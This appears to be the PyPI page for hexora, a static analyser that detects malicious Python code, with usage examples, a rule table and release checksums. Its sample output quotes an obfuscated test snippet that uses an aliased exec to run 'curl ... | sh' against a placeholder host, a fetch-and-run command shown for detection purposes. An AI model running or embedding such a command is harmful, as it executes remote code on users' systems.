Skip to main content

hexora

PyPI - Version

Hexora is a static analysis tool designed to detect malicious and harmful patterns in Python code. It combines a rule-based static analysis engine with a machine-learned model that scores entire source files to classify them as malicious or benign.

It can be used to:

  • Audit project dependencies to catch potential supply-chain attacks
  • Detect malicious scripts found on platforms like Pastebin, GitHub, or open directories
  • Analyze IoC files from past security incidents
  • Audit new packages uploaded to PyPi.
Hexora example

Examples

For output examples, please see docs/examples.md file.

Installation

Using Python

Requires Python 3.9+.

pip install hexora

Using uv:

uv tool install hexora

Usage

hexora --help

Audit single file

>  hexora audit test.py

warning[HX2000]: Reading from the clipboard can be used to exfiltrate sensitive data.
  ┌─ resources/test/test.py:3:8
  │
1 │ import pyperclip
2 │
3 │ data = pyperclip.paste()
  │        ^^^^^^^^^^^^^^^^^ HX2000
  │
  = Confidence: High
    Help: Clipboard access can be used to exfiltrate sensitive data such as passwords and keys.
    Machine learning based score for file: 0.93

warning[HX3000]: Possible execution of unwanted code
   ┌─ resources/test/test.py:20:1
   │
19 │ (_ceil, _random, Math,), Run, (Floor, _frame, _divide) = (exec, str, tuple), map, (ord, globals, eval)
20 │ _ceil("import subprocess;subprocess.call(['curl -fsSL https://example.com/b.sh | sh'])")
   │ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ HX3000
   │

Audit directory

hexora audit --output-format terminal resources/test/

Audit packages from virtual environment

hexora audit --exclude HX5020,HX5030,HX5040,HX5050,HX5060 --min-confidence high .venv/lib/python3.11/site-packages/

Where python3.11 is the version of the Python in virtual environment.

Tips:

  • Use --exclude to suppress certain rule codes (e.g., noisy imports) for a given run
  • Use --min-confidence to focus on high-confidence findings only.

Confidence indicates how a certain piece of code is malicious. Some libraries or code snippets are used for legit purposes, and it's hard to distinguish legit use-cases from malicious ones. That's why some matches have a low confidence level.

Some rules can have different confidence levels. Avoid filtering a lot of rules by codes unless you are very confident. For example, code and shell execution can have medium, high, and very high confidence. This depends on how the code was executed. If we detect an obfuscation attempt, we elevate confidence.

For example, this code will have a high confidence:

globals()["__builtins__"].eval("print(123)")

Usage in Python

>>> import hexora
>>> results = hexora.audit_path("/Projects/hexora/resources/test/")
>>> len(results)
15
>>> results[0]
{'items': [{'confidence': 'low',
            'description': 'pyperclip can be used to copy and paste data from '
                           'the clipboard.',
            'label': 'pyperclip',
            'location': (7, 16),
            'rule': 'HX5010'},
           {'confidence': 'high',
            'description': 'Reading from the clipboard can be used to '
                           'exfiltrate sensitive data.',
            'label': 'pyperclip.paste',
            'location': (25, 42),
            'rule': 'HX2000'}],
 'path': '/Projects/hexora/resources/test/clipboard_01.py'}
>>> # Single file audit
>>> result = hexora.audit_file("/Projects/hexora/resources/test/clipboard_01.py")
>>> ...

Testing Against Malicious Dataset

When developing new rules, you can use existing malicious datasets such as malicious-software-packages-dataset.

After cloning, point the benchmarking tool to the dataset directory:

cargo run --release benchmark malicious-software-packages-dataset/samples/pypi/ --print-missing --exclude-path data/excluded.txt  --min-confidence high

Available rules

New rules are added regularly.

Right now, the following rules are available:

Code Name Description
HX1000 AppEnumeration Suspicious application enumeration.
HX1010 BrowserEnumeration Suspicious browser enumeration (apps, cookies, history, etc.).
HX1020 PathEnumeration Suspicious path enumeration.
HX1030 OSFingerprint Suspicious OS fingerprinting.
HX2000 ClipboardRead Reading from the clipboard.
HX2010 EnvAccess Access to a sensitive environment variable.
HX2020 ScreenshotCapture Capturing screenshots from the display.
HX3000 CodeExec Possible code execution.
HX3010 ShellExec Execution of a shell command.
HX3040 DLLInjection Possible DLL injection.
HX3050 DangerousExec Execution of potentially dangerous command inside a shell command.
HX3060 SuspiciousCall Suspicious function call.
HX4000 ObfuscatedShellExec Execution of possibly obfuscated shell command.
HX4010 ObfuscatedCodeExec Execution of possibly obfuscated code.
HX5000 DunderImport Suspicious use of __import__.
HX5010 SuspiciousImport Suspicious import.
HX5020 CtypesImport Suspicious ctypes import.
HX5030 PickleImport Suspicious pickle import.
HX5040 StructImport Suspicious struct import.
HX5050 SocketImport Suspicious socket import.
HX5060 MarshalImport Suspicious marshal import.
HX6000 Base64String Long Base64-encoded string detected; possible code obfuscation.
HX6010 HexedLiterals List of hex-encoded literals detected; possible payload.
HX6020 HexedString Long hex-encoded string detected; possible payload.
HX6030 IntLiterals Large list of integer literals detected; possible code obfuscation.
HX6040 CVEInLiteral Literal contains a CVE identifier.
HX6050 SuspiciousLiteral Suspicious literal detected; possible data enumeration.
HX6060 PathTraversal Suspicious path traversal.
HX6070 BrowserExtension Enumeration of sensitive browser extensions.
HX6080 WebHook Suspicious webhook detected. Possible data exfiltration.
HX6090 TelegramToken Telegram bot token detected in string literal.
HX7000 SuspiciousFunctionName Suspicious function name.
HX7010 SuspiciousParameterName Suspicious parameter name.
HX7020 SuspiciousVariable Suspicious variable name.
HX9000 DataExfiltration Potential data exfiltration.
HX8000 BinaryDownload Suspicious binary download.
HX8010 BuiltinsVariable Suspicious builtin variable usage.
HX8020 SuspiciousComment Suspicious comment.
HX8030 SuspiciousWrite Suspicious write to the filesystem.
HX8040 InstallHook Suspicious install hook setup.

Credits

For parsing, we use AST parser from ruff library.

Metadata

Release files for hexora 0.3.1

For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.

Source distribution (sdist)

Source distribution for hexora 0.3.1
File Size Uploaded
hexora-0.3.1.tar.gz 6.3 kB Details

Built distributions (wheels)

Table of built distributions (wheels) for hexora 0.3.1
File
hexora-0.3.1-cp314-cp314-win_amd64.whl CPython 3.14 CPython 3.14 Windows x86-64 Details
hexora-0.3.1-cp314-cp314-musllinux_1_2_x86_64.whl CPython 3.14 CPython 3.14 Linux musl 1.2+ x86-64 Details
hexora-0.3.1-cp314-cp314-manylinux_2_28_x86_64.whl CPython 3.14 CPython 3.14 Linux glibc 2.28+ x86-64 Details
hexora-0.3.1-cp314-cp314-manylinux_2_28_aarch64.whl CPython 3.14 CPython 3.14 Linux glibc 2.28+ ARM64 Details
hexora-0.3.1-cp314-cp314-macosx_11_0_arm64.whl CPython 3.14 CPython 3.14 macOS 11.0+ ARM64 Details
hexora-0.3.1-cp314-cp314-macosx_10_15_x86_64.whl CPython 3.14 CPython 3.14 macOS 10.15+ x86-64 Details
hexora-0.3.1-cp313-cp313-win_amd64.whl CPython 3.13 CPython 3.13 Windows x86-64 Details
hexora-0.3.1-cp313-cp313-musllinux_1_2_x86_64.whl CPython 3.13 CPython 3.13 Linux musl 1.2+ x86-64 Details
hexora-0.3.1-cp313-cp313-manylinux_2_28_x86_64.whl CPython 3.13 CPython 3.13 Linux glibc 2.28+ x86-64 Details
hexora-0.3.1-cp313-cp313-manylinux_2_28_aarch64.whl CPython 3.13 CPython 3.13 Linux glibc 2.28+ ARM64 Details
hexora-0.3.1-cp313-cp313-macosx_11_0_arm64.whl CPython 3.13 CPython 3.13 macOS 11.0+ ARM64 Details
hexora-0.3.1-cp313-cp313-macosx_10_13_x86_64.whl CPython 3.13 CPython 3.13 macOS 10.13+ x86-64 Details
hexora-0.3.1-cp312-cp312-win_amd64.whl CPython 3.12 CPython 3.12 Windows x86-64 Details
hexora-0.3.1-cp312-cp312-musllinux_1_2_x86_64.whl CPython 3.12 CPython 3.12 Linux musl 1.2+ x86-64 Details
hexora-0.3.1-cp312-cp312-manylinux_2_28_x86_64.whl CPython 3.12 CPython 3.12 Linux glibc 2.28+ x86-64 Details
hexora-0.3.1-cp312-cp312-manylinux_2_28_aarch64.whl CPython 3.12 CPython 3.12 Linux glibc 2.28+ ARM64 Details
hexora-0.3.1-cp312-cp312-macosx_11_0_arm64.whl CPython 3.12 CPython 3.12 macOS 11.0+ ARM64 Details
hexora-0.3.1-cp312-cp312-macosx_10_13_x86_64.whl CPython 3.12 CPython 3.12 macOS 10.13+ x86-64 Details
hexora-0.3.1-cp311-cp311-win_amd64.whl CPython 3.11 CPython 3.11 Windows x86-64 Details
hexora-0.3.1-cp311-cp311-musllinux_1_2_x86_64.whl CPython 3.11 CPython 3.11 Linux musl 1.2+ x86-64 Details
hexora-0.3.1-cp311-cp311-manylinux_2_28_x86_64.whl CPython 3.11 CPython 3.11 Linux glibc 2.28+ x86-64 Details
hexora-0.3.1-cp311-cp311-manylinux_2_28_aarch64.whl CPython 3.11 CPython 3.11 Linux glibc 2.28+ ARM64 Details
hexora-0.3.1-cp311-cp311-macosx_11_0_arm64.whl CPython 3.11 CPython 3.11 macOS 11.0+ ARM64 Details
hexora-0.3.1-cp311-cp311-macosx_10_12_x86_64.whl CPython 3.11 CPython 3.11 macOS 10.12+ x86-64 Details
hexora-0.3.1-cp310-cp310-win_amd64.whl CPython 3.10 CPython 3.10 Windows x86-64 Details
hexora-0.3.1-cp310-cp310-musllinux_1_2_x86_64.whl CPython 3.10 CPython 3.10 Linux musl 1.2+ x86-64 Details
hexora-0.3.1-cp310-cp310-manylinux_2_28_x86_64.whl CPython 3.10 CPython 3.10 Linux glibc 2.28+ x86-64 Details
hexora-0.3.1-cp310-cp310-manylinux_2_28_aarch64.whl CPython 3.10 CPython 3.10 Linux glibc 2.28+ ARM64 Details
hexora-0.3.1-cp310-cp310-macosx_11_0_arm64.whl CPython 3.10 CPython 3.10 macOS 11.0+ ARM64 Details
hexora-0.3.1-cp310-cp310-macosx_10_12_x86_64.whl CPython 3.10 CPython 3.10 macOS 10.12+ x86-64 Details
hexora-0.3.1-cp39-cp39-win_amd64.whl CPython 3.9 CPython 3.9 Windows x86-64 Details
hexora-0.3.1-cp39-cp39-musllinux_1_2_x86_64.whl CPython 3.9 CPython 3.9 Linux musl 1.2+ x86-64 Details
hexora-0.3.1-cp39-cp39-manylinux_2_28_x86_64.whl CPython 3.9 CPython 3.9 Linux glibc 2.28+ x86-64 Details
hexora-0.3.1-cp39-cp39-manylinux_2_28_aarch64.whl CPython 3.9 CPython 3.9 Linux glibc 2.28+ ARM64 Details
hexora-0.3.1-cp39-cp39-macosx_11_0_arm64.whl CPython 3.9 CPython 3.9 macOS 11.0+ ARM64 Details
hexora-0.3.1-cp39-cp39-macosx_10_12_x86_64.whl CPython 3.9 CPython 3.9 macOS 10.12+ x86-64 Details

Total release size: 111.0 MB

Release files / hexora-0.3.1.tar.gz

Download URL hexora-0.3.1.tar.gz
Size 6.3 kB
Tags Source
SHA-256 checksum
How to use checksums
cbcb6f82b53752021d75a77b0626937341c63c1969291d46cae33e9901e0fa5b
BLAKE2b-256 checksum
How to use checksums
d89b5ec894009483709c3c5ac2966f1d29e0aa7dd5f05c6ea441f2973cee96a1
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/7.0.0 CPython/3.13.14

Release files / hexora-0.3.1-cp314-cp314-win_amd64.whl

Download URL hexora-0.3.1-cp314-cp314-win_amd64.whl
Size 3.1 MB
Tags CPython 3.14 Windows x86-64
SHA-256 checksum
How to use checksums
719607e035c869813825ae7f20dac75024417c1fc9984ad8f1a690c1098cd1ff
BLAKE2b-256 checksum
How to use checksums
aa85f68c27a4af71a205683cf735956c4f921960b0c0ea1459925f45ab69f743
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/7.0.0 CPython/3.13.14

Release files / hexora-0.3.1-cp314-cp314-musllinux_1_2_x86_64.whl

Download URL hexora-0.3.1-cp314-cp314-musllinux_1_2_x86_64.whl
Size 3.3 MB
Tags CPython 3.14 Linux musl 1.2+ x86-64
SHA-256 checksum
How to use checksums
3d2326f2032978cd3bfdf5615db2afe284ec45d7b8b444217c04e920f112acb7
BLAKE2b-256 checksum
How to use checksums
9b3cbb9e8a134ad8b9f522110c822fbf795f2b91db4a946486fe92155a5ed74d
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/7.0.0 CPython/3.13.14

Release files / hexora-0.3.1-cp314-cp314-manylinux_2_28_x86_64.whl

Download URL hexora-0.3.1-cp314-cp314-manylinux_2_28_x86_64.whl
Size 3.2 MB
Tags CPython 3.14 Linux glibc 2.28+ x86-64
SHA-256 checksum
How to use checksums
1a91154c1cf18af6a5bfb20f78ed38fb50e721bd64fbc26f6f969e5cd727a997
BLAKE2b-256 checksum
How to use checksums
c1428c690fdb6f2f7f456ba735c8afc4a7dfc12dd6e2a470a7bc56e6a7965d3d
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/7.0.0 CPython/3.13.14

Release files / hexora-0.3.1-cp314-cp314-manylinux_2_28_aarch64.whl

Download URL hexora-0.3.1-cp314-cp314-manylinux_2_28_aarch64.whl
Size 3.1 MB
Tags CPython 3.14 Linux glibc 2.28+ ARM64
SHA-256 checksum
How to use checksums
08159ff3faf1580a06dd3ac383a6b57d9fdd818afdcf16bdbd19ba24cc5584af
BLAKE2b-256 checksum
How to use checksums
773de65a18ffdf733665668bde496acc40b6ddb04b3827dd266f27b830561269
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/7.0.0 CPython/3.13.14

Release files / hexora-0.3.1-cp314-cp314-macosx_11_0_arm64.whl

Download URL hexora-0.3.1-cp314-cp314-macosx_11_0_arm64.whl
Size 2.9 MB
Tags CPython 3.14 macOS 11.0+ ARM64
SHA-256 checksum
How to use checksums
f354eb1b89f4118141bda528dba92ca0f6af827612f00ccabe260625f67c15b2
BLAKE2b-256 checksum
How to use checksums
7bc69e65054e4789ee555eae87a3ed592d118e4bf0b5cf89927acce5bd1a9649
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/7.0.0 CPython/3.13.14

Release files / hexora-0.3.1-cp314-cp314-macosx_10_15_x86_64.whl

Download URL hexora-0.3.1-cp314-cp314-macosx_10_15_x86_64.whl
Size 3.0 MB
Tags CPython 3.14 macOS 10.15+ x86-64
SHA-256 checksum
How to use checksums
aa14c3c2d1206eaad49465df6854186ee41328428ec48e1cef032ce2668a811e
BLAKE2b-256 checksum
How to use checksums
dd34a152a05b69b2cba5543a48facca04f9c907501aca8f3a8ad35cf553734ee
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/7.0.0 CPython/3.13.14

Release files / hexora-0.3.1-cp313-cp313-win_amd64.whl

Download URL hexora-0.3.1-cp313-cp313-win_amd64.whl
Size 2.9 MB
Tags CPython 3.13 Windows x86-64
SHA-256 checksum
How to use checksums
354a7aed98b617c83813c90b8c6ce53fe94a0d26a1586b7f7167e2c112079f0d
BLAKE2b-256 checksum
How to use checksums
5abdd4dd67beb4281ba4771913e56c1e0fac96898f18a4cfd790bbb5ff52f705
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/7.0.0 CPython/3.13.14

Release files / hexora-0.3.1-cp313-cp313-musllinux_1_2_x86_64.whl

Download URL hexora-0.3.1-cp313-cp313-musllinux_1_2_x86_64.whl
Size 3.3 MB
Tags CPython 3.13 Linux musl 1.2+ x86-64
SHA-256 checksum
How to use checksums
c9767feada139361bc828136a7cc013fb80a35059c2d39f41d42f76b321a4632
BLAKE2b-256 checksum
How to use checksums
561c251d6c2d241a12829f6069a7f65313c3164495723cf2cbcf0f5a5b8b9dd2
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/7.0.0 CPython/3.13.14

Release files / hexora-0.3.1-cp313-cp313-manylinux_2_28_x86_64.whl

Download URL hexora-0.3.1-cp313-cp313-manylinux_2_28_x86_64.whl
Size 3.2 MB
Tags CPython 3.13 Linux glibc 2.28+ x86-64
SHA-256 checksum
How to use checksums
49aa797391fb9b4eae099d2182c1a02289f70c34eddbaa6b36c24ab3cbfafee9
BLAKE2b-256 checksum
How to use checksums
ad388c2ee3ad62b4f0835b5eb6a7f24391e519e5cb9c98cca6835c874a40ac5b
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/7.0.0 CPython/3.13.14

Release files / hexora-0.3.1-cp313-cp313-manylinux_2_28_aarch64.whl

Download URL hexora-0.3.1-cp313-cp313-manylinux_2_28_aarch64.whl
Size 3.1 MB
Tags CPython 3.13 Linux glibc 2.28+ ARM64
SHA-256 checksum
How to use checksums
35c685b49543ef3b246c9b38b585af6719c4f0d3b6aead5e9533790736a431a9
BLAKE2b-256 checksum
How to use checksums
9b3cca60a5d21f736664c104ee5eafd9ba3be3fde2cdd0471052b12f7e515290
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/7.0.0 CPython/3.13.14

Release files / hexora-0.3.1-cp313-cp313-macosx_11_0_arm64.whl

Download URL hexora-0.3.1-cp313-cp313-macosx_11_0_arm64.whl
Size 2.9 MB
Tags CPython 3.13 macOS 11.0+ ARM64
SHA-256 checksum
How to use checksums
6f8b6c200a3a1e279ce93bc5228d6cc281602f4dab8918bb01e982b51a5d559e
BLAKE2b-256 checksum
How to use checksums
9969457a4fceee0c4d64541769cce37b5a567d78861e30589594f6e9d820c570
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/7.0.0 CPython/3.13.14

Release files / hexora-0.3.1-cp313-cp313-macosx_10_13_x86_64.whl

Download URL hexora-0.3.1-cp313-cp313-macosx_10_13_x86_64.whl
Size 3.0 MB
Tags CPython 3.13 macOS 10.13+ x86-64
SHA-256 checksum
How to use checksums
e2dc413e2e4caa643c314c7d5c4ff5c730d1eacf692558ee483aa8ee2f7070a8
BLAKE2b-256 checksum
How to use checksums
54072b5ced9ac4d2c4c80971e4067eb32b6e7e71455ac81ba53ae77bd9fc6442
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/7.0.0 CPython/3.13.14

Release files / hexora-0.3.1-cp312-cp312-win_amd64.whl

Download URL hexora-0.3.1-cp312-cp312-win_amd64.whl
Size 2.9 MB
Tags CPython 3.12 Windows x86-64
SHA-256 checksum
How to use checksums
df017fd13960e34c01991bc7f649379a648d6ed2b0dd580635765c9c280bad59
BLAKE2b-256 checksum
How to use checksums
1986542d366bef8dea943c187c2da52ee00de397fad73a78dcf5791c8ed39a5a
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/7.0.0 CPython/3.13.14

Release files / hexora-0.3.1-cp312-cp312-musllinux_1_2_x86_64.whl

Download URL hexora-0.3.1-cp312-cp312-musllinux_1_2_x86_64.whl
Size 3.3 MB
Tags CPython 3.12 Linux musl 1.2+ x86-64
SHA-256 checksum
How to use checksums
ae2d72679ba12d82ed44f736cabd8a8ca158bdefd2e77e43f848f3423789ac0d
BLAKE2b-256 checksum
How to use checksums
f11daf3cd08190ddc0fa0cde9b33f6d6ec8ee3af16a8834386787a0b7b2c118c
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/7.0.0 CPython/3.13.14

Release files / hexora-0.3.1-cp312-cp312-manylinux_2_28_x86_64.whl

Download URL hexora-0.3.1-cp312-cp312-manylinux_2_28_x86_64.whl
Size 3.2 MB
Tags CPython 3.12 Linux glibc 2.28+ x86-64
SHA-256 checksum
How to use checksums
3f8df5db1b1dcb5b6eff3ea6350006feb3625a14c30aa02f2749d367cff8f78b
BLAKE2b-256 checksum
How to use checksums
652da12371fe87eaf1fb92cd3193ff85795ad05f0fa95941b169496730a55d94
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/7.0.0 CPython/3.13.14

Release files / hexora-0.3.1-cp312-cp312-manylinux_2_28_aarch64.whl

Download URL hexora-0.3.1-cp312-cp312-manylinux_2_28_aarch64.whl
Size 3.1 MB
Tags CPython 3.12 Linux glibc 2.28+ ARM64
SHA-256 checksum
How to use checksums
12b78513b20cf7b4d5f9f8bda6d55a0a27de091f7a7e7a47d1577a20d12225cb
BLAKE2b-256 checksum
How to use checksums
5a59d9abdb17fc1f7bc98f05f0f3de12261baf6efdeeaaa83b88de68a413a1d7
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/7.0.0 CPython/3.13.14

Release files / hexora-0.3.1-cp312-cp312-macosx_11_0_arm64.whl

Download URL hexora-0.3.1-cp312-cp312-macosx_11_0_arm64.whl
Size 2.9 MB
Tags CPython 3.12 macOS 11.0+ ARM64
SHA-256 checksum
How to use checksums
8e0c4d99265f0c4fa582314caac663e45cabd6602f8268a0c3453fbfd00e67b5
BLAKE2b-256 checksum
How to use checksums
db743ca8e00db4bceadd601196c86033c79c53da5eed6cff841e4a9131c15609
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/7.0.0 CPython/3.13.14

Release files / hexora-0.3.1-cp312-cp312-macosx_10_13_x86_64.whl

Download URL hexora-0.3.1-cp312-cp312-macosx_10_13_x86_64.whl
Size 3.0 MB
Tags CPython 3.12 macOS 10.13+ x86-64
SHA-256 checksum
How to use checksums
8bcf8f5e3be7cba5ad2c34d88153e3e30589264cf7f4e80678ff4453d2b6a563
BLAKE2b-256 checksum
How to use checksums
72eab54fd55b7e8bebf9771b7bd87372bd09a56eaba6192db5fc3a89eb209986
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/7.0.0 CPython/3.13.14

Release files / hexora-0.3.1-cp311-cp311-win_amd64.whl

Download URL hexora-0.3.1-cp311-cp311-win_amd64.whl
Size 2.9 MB
Tags CPython 3.11 Windows x86-64
SHA-256 checksum
How to use checksums
705ae64b27ab877caba3820b8ad2b4e5444f4443c9955e43a45fd351edd627ad
BLAKE2b-256 checksum
How to use checksums
9b75117924ec3f9207aaf1353fb84d34e3a239c3593c2722f1812baca795a4db
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/7.0.0 CPython/3.13.14

Release files / hexora-0.3.1-cp311-cp311-musllinux_1_2_x86_64.whl

Download URL hexora-0.3.1-cp311-cp311-musllinux_1_2_x86_64.whl
Size 3.3 MB
Tags CPython 3.11 Linux musl 1.2+ x86-64
SHA-256 checksum
How to use checksums
5d36d05e1580d97decd1560525726190089de23e30d23ca2f904d8c0fa623aa5
BLAKE2b-256 checksum
How to use checksums
0ed4b05f6ea407035230c0b235432e83d3289aef61078c7dd02077af01970345
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/7.0.0 CPython/3.13.14

Release files / hexora-0.3.1-cp311-cp311-manylinux_2_28_x86_64.whl

Download URL hexora-0.3.1-cp311-cp311-manylinux_2_28_x86_64.whl
Size 3.2 MB
Tags CPython 3.11 Linux glibc 2.28+ x86-64
SHA-256 checksum
How to use checksums
ea7807586cc43ea3f8acaa1baa0dced21e52420d1737f67d8bcb59f65969f07a
BLAKE2b-256 checksum
How to use checksums
e6a6927fe0f4b233f9e8df17b1b3e99815dd4d7022b8691ad8d4d95dcd0197f4
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/7.0.0 CPython/3.13.14

Release files / hexora-0.3.1-cp311-cp311-manylinux_2_28_aarch64.whl

Download URL hexora-0.3.1-cp311-cp311-manylinux_2_28_aarch64.whl
Size 3.1 MB
Tags CPython 3.11 Linux glibc 2.28+ ARM64
SHA-256 checksum
How to use checksums
b351ee74168a4ef90142efdf786e8e94ad7ec2bf5c0636b2f496689e349b9875
BLAKE2b-256 checksum
How to use checksums
66d388b48b037d35d39e433f9220ad2721aefdf5d96c7bad882478ee1d4b6d85
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/7.0.0 CPython/3.13.14

Release files / hexora-0.3.1-cp311-cp311-macosx_11_0_arm64.whl

Download URL hexora-0.3.1-cp311-cp311-macosx_11_0_arm64.whl
Size 2.9 MB
Tags CPython 3.11 macOS 11.0+ ARM64
SHA-256 checksum
How to use checksums
892238297d6322aa46e3fdfc21f297546c8d111bf0b8d00475a6334d039262fc
BLAKE2b-256 checksum
How to use checksums
c2358ccdfed77885bac465970fecbe28c77bdd2dffdbeb8ae256f14cb38d609f
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/7.0.0 CPython/3.13.14

Release files / hexora-0.3.1-cp311-cp311-macosx_10_12_x86_64.whl

Download URL hexora-0.3.1-cp311-cp311-macosx_10_12_x86_64.whl
Size 3.0 MB
Tags CPython 3.11 macOS 10.12+ x86-64
SHA-256 checksum
How to use checksums
001b757c607d3299a68eb6816b99a0ef9288c3c57e7f9005e0da027b8d7a7014
BLAKE2b-256 checksum
How to use checksums
53cde80e06b3dfb7775e85ab66e298b76c0755dded72ef2faa6900049217cf4b
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/7.0.0 CPython/3.13.14

Release files / hexora-0.3.1-cp310-cp310-win_amd64.whl

Download URL hexora-0.3.1-cp310-cp310-win_amd64.whl
Size 2.9 MB
Tags CPython 3.10 Windows x86-64
SHA-256 checksum
How to use checksums
ec3907b959cfbe8f87a2c946856687137c3f56d148e2df8a320be056fe466f94
BLAKE2b-256 checksum
How to use checksums
b9a67c4479afbdc3d0964859ba5f7bf483e68d717907c8d0b4cfee12f364f955
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/7.0.0 CPython/3.13.14

Release files / hexora-0.3.1-cp310-cp310-musllinux_1_2_x86_64.whl

Download URL hexora-0.3.1-cp310-cp310-musllinux_1_2_x86_64.whl
Size 3.3 MB
Tags CPython 3.10 Linux musl 1.2+ x86-64
SHA-256 checksum
How to use checksums
3ebdd74f6a3d56c942034d2c3366ecb554f4f634cb9b23110ade2459a3b6e4f7
BLAKE2b-256 checksum
How to use checksums
9b0f636db6fd4bca40c233f9e5dc6c949c8db773d8b5b9b8e5e106a613b06473
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/7.0.0 CPython/3.13.14

Release files / hexora-0.3.1-cp310-cp310-manylinux_2_28_x86_64.whl

Download URL hexora-0.3.1-cp310-cp310-manylinux_2_28_x86_64.whl
Size 3.2 MB
Tags CPython 3.10 Linux glibc 2.28+ x86-64
SHA-256 checksum
How to use checksums
f2e4b8fecb3ab96b0215429f7fe1d21f0cb66d8c0fe710725dc7ad1defc5b756
BLAKE2b-256 checksum
How to use checksums
cfe2b27937f6a6e541edf6007a403971fb2758c0851d65d50c8f93be8193eea3
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/7.0.0 CPython/3.13.14

Release files / hexora-0.3.1-cp310-cp310-manylinux_2_28_aarch64.whl

Download URL hexora-0.3.1-cp310-cp310-manylinux_2_28_aarch64.whl
Size 3.1 MB
Tags CPython 3.10 Linux glibc 2.28+ ARM64
SHA-256 checksum
How to use checksums
de3ffb261f8798ff0fb4852dae6016f58fd577e163922756b2822a27084ee5bc
BLAKE2b-256 checksum
How to use checksums
f0b5b3fb43354eeb652a1493a9b05e9555f918816fefd3b1d2587a290875bd67
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/7.0.0 CPython/3.13.14

Release files / hexora-0.3.1-cp310-cp310-macosx_11_0_arm64.whl

Download URL hexora-0.3.1-cp310-cp310-macosx_11_0_arm64.whl
Size 2.9 MB
Tags CPython 3.10 macOS 11.0+ ARM64
SHA-256 checksum
How to use checksums
6364c65e145616b8b4e20b9e8aac88105974019b2621695e036bc8d7b94bb1ac
BLAKE2b-256 checksum
How to use checksums
f64f76a56ac10829dce5457c2cd189a6898c111b5170ece0fa6fdee6c09f986b
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/7.0.0 CPython/3.13.14

Release files / hexora-0.3.1-cp310-cp310-macosx_10_12_x86_64.whl

Download URL hexora-0.3.1-cp310-cp310-macosx_10_12_x86_64.whl
Size 3.0 MB
Tags CPython 3.10 macOS 10.12+ x86-64
SHA-256 checksum
How to use checksums
b5e9871f754abf1fff17b52e131eb0bfc8e266c31eb1e435ba6d819c7641e7fb
BLAKE2b-256 checksum
How to use checksums
6a1c798f0308e0a9a7596e7e6fbcc33a149c7a6d86f926e1b00ebb8c2829db6a
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/7.0.0 CPython/3.13.14

Release files / hexora-0.3.1-cp39-cp39-win_amd64.whl

Download URL hexora-0.3.1-cp39-cp39-win_amd64.whl
Size 2.9 MB
Tags CPython 3.9 Windows x86-64
SHA-256 checksum
How to use checksums
aa06757ff6506a4169ef02be398e68653085ff9428c76ad2a1338596db61b14d
BLAKE2b-256 checksum
How to use checksums
fc73d9d5e82bb151d060a5821d25ca7ee552cfb34987c60e279c37a894d3dfc9
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/7.0.0 CPython/3.13.14

Release files / hexora-0.3.1-cp39-cp39-musllinux_1_2_x86_64.whl

Download URL hexora-0.3.1-cp39-cp39-musllinux_1_2_x86_64.whl
Size 3.3 MB
Tags CPython 3.9 Linux musl 1.2+ x86-64
SHA-256 checksum
How to use checksums
76d572396d4660c44396e3319bae8600e97219b9783d77f026b2ba92df8d52f7
BLAKE2b-256 checksum
How to use checksums
c2cbe92dc5b68b383b2e8bf4bd5bcc200ce9f92c28e9646285684fd2a720a5b3
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/7.0.0 CPython/3.13.14

Release files / hexora-0.3.1-cp39-cp39-manylinux_2_28_x86_64.whl

Download URL hexora-0.3.1-cp39-cp39-manylinux_2_28_x86_64.whl
Size 3.2 MB
Tags CPython 3.9 Linux glibc 2.28+ x86-64
SHA-256 checksum
How to use checksums
1f3869e0795dd3cdaf17d445183283505498e7600fb8fbb38ab55981484e4192
BLAKE2b-256 checksum
How to use checksums
0d7a9d5d215778ebe01931cdd28f4f4174c65a7a53e8a6f652d4a61f987e1c33
Upload date
